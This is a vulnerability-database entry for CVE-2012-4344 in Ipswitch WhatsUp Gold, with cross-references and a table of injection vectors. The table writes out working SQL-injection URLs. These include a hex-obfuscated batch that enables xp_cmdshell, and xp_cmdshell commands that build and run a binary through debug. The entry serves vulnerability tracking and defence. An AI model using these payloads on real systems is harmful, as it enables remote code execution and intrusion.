CVE-2012-4344
🗓️ 15 Aug 2012 22:00:00Reported by mitreType 
cve🔗 web.nvd.nist.gov📰️ 4 Media mentions👁 51 Views🌐 WEB
| Reporter | Title | Published | Views | Family All 9 |
|---|---|---|---|---|
 | CVE-2012-4344 | 22 Jul 201200:00 | – | circl |
 | CVE-2012-4344 | 15 Aug 201222:00 | – | cvelist |
 | ipswitch whatsup gold 15.02 - Persistent Cross-Site Scripting / Blind SQL Injection / Remote Code Execution | 22 Jul 201200:00 | – | exploitdb |
 | EUVD-2012-4288 | 7 Oct 202500:30 | – | euvd |
 | Ipswitch WhatsUp Gold Multiple Vulnerabilities | 18 Sep 201200:00 | – | nessus |
 | KLA10227 CI vulnerability in WhatsUp Gold | 15 Aug 201200:00 | – | kaspersky |
 | CVE-2012-4344 | 15 Aug 201222:55 | – | nvd |
 | Cross site scripting | 15 Aug 201222:55 | – | prion |
 | PT-2012-5344 · Ipswitch · Ipswitch Whatsup Gold | 15 Aug 201200:00 | – | ptsecurity |
Node
| Source | Link |
|---|---|
| exchange | www.exchange.xforce.ibmcloud.com/vulnerabilities/77150 |
| kb | www.kb.cert.org/vuls/id/777007 |
| exploit-db | www.exploit-db.com/exploits/20035 |
| Parameter | Position | Path | Description | CWE |
|---|---|---|---|---|
| sGroupList | query param | /NmConsole/Reports/Workspace/Virtualization/WrVMwareHostList/WrVMwareHostList.asp?sGroupList=1;DECLARE @S NVARCHAR(3000);SET @S=CAST(0x45005800450043002000730070005F0063006F006E0066006900670075007200650020002700730068006F007700200061006400760061006E0063006500640020006F007000740069006F006E00730027002C00200031003B005200450043004F004E004600490047005500520045003B0045005800450043002000730070005F0063006F006E0066006900670075007200650020002700780070005F0063006D0064007300680065006C006C0027002C00200031003B005200450043004F004E004600490047005500520045003B000A AS NVARCHAR(3000));Exec (@S);--&sDeviceList=3 | Stored XSS/SQLi vector inWrVMwareHostList.asp via sGroupList/sDeviceList leading to execution of injected SQL and potential remote code execution. | CWE-79 |
| sDeviceList | query param | /NmConsole/Reports/Workspace/Virtualization/WrVMwareHostList/WrVMwareHostList.asp?sGroupList=1;DECLARE @S NVARCHAR(3000);SET @S=CAST(0x45005800450043002000730070005F0063006F006E0066006900670075007200650020002700730068006F007700200061006400760061006E0063006500640020006F007000740069006F006E00730027002C00200031003B005200450043004F004E004600490047005500520045003B0045005800450043002000730070005F0063006F006E0066006900670075007200650020002700780070005F0063006D0064007300680065006C006C0027002C00200031003B005200450043004F004E004600490047005500520045003B000A AS NVARCHAR(3000));Exec (@S);--&sDeviceList=3 | Stored XSS/SQLi vector inWrVMwareHostList.asp via sGroupList/sDeviceList leading to execution of injected SQL and potential remote code execution. | CWE-79 |
| sGroupList | query param | /NmConsole/Reports/Workspace/Virtualization/WrVMwareHostList/WrVMwareHostList.asp?sGroupList=1;EXEC xp_cmdshell 'echo n 1.dll >123.hex';--&sDeviceList=3 | SQL injection followed by xp_cmdshell execution to write a binary payload on target. | CWE-89, CWE-79 |
| sDeviceList | query param | /NmConsole/Reports/Workspace/Virtualization/WrVMwareHostList/WrVMwareHostList.asp?sGroupList=1;EXEC xp_cmdshell 'echo n 1.dll >123.hex';--&sDeviceList=3 | SQL injection followed by xp_cmdshell execution to write a binary payload on target. | CWE-89, CWE-79 |
| sGroupList | query param | /NmConsole/Reports/Workspace/Virtualization/WrVMwareHostList/WrVMwareHostList.asp?sGroupList=1;EXEC xp_cmdshell 'echo e 0100 >>123.hex';--&sDeviceList=3 | SQL injection with xp_cmdshell to append shell payload into 123.hex. | CWE-89, CWE-79 |
| sDeviceList | query param | /NmConsole/Reports/Workspace/Virtualization/WrVMwareHostList/WrVMwareHostList.asp?sGroupList=1;EXEC xp_cmdshell 'echo e 0100 >>123.hex';--&sDeviceList=3 | SQL injection with xp_cmdshell to append shell payload into 123.hex. | CWE-89, CWE-79 |
| sGroupList | query param | /NmConsole/Reports/Workspace/Virtualization/WrVMwareHostList/WrVMwareHostList.asp?sGroupList=1;EXEC xp_cmdshell 'debug<123.hex';--&sDeviceList=3 | SQL injection enabling remote command execution via xp_cmdshell with debug shell input. | CWE-89, CWE-79 |
| sDeviceList | query param | /NmConsole/Reports/Workspace/Virtualization/WrVMwareHostList/WrVMwareHostList.asp?sGroupList=1;EXEC xp_cmdshell 'debug<123.hex';--&sDeviceList=3 | SQL injection enabling remote command execution via xp_cmdshell with debug shell input. | CWE-89, CWE-79 |
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
16 Jun 2026 23:44Current
5.7Medium risk
Vulners AI Score5.7
CVSS 24.3
EPSS0.03811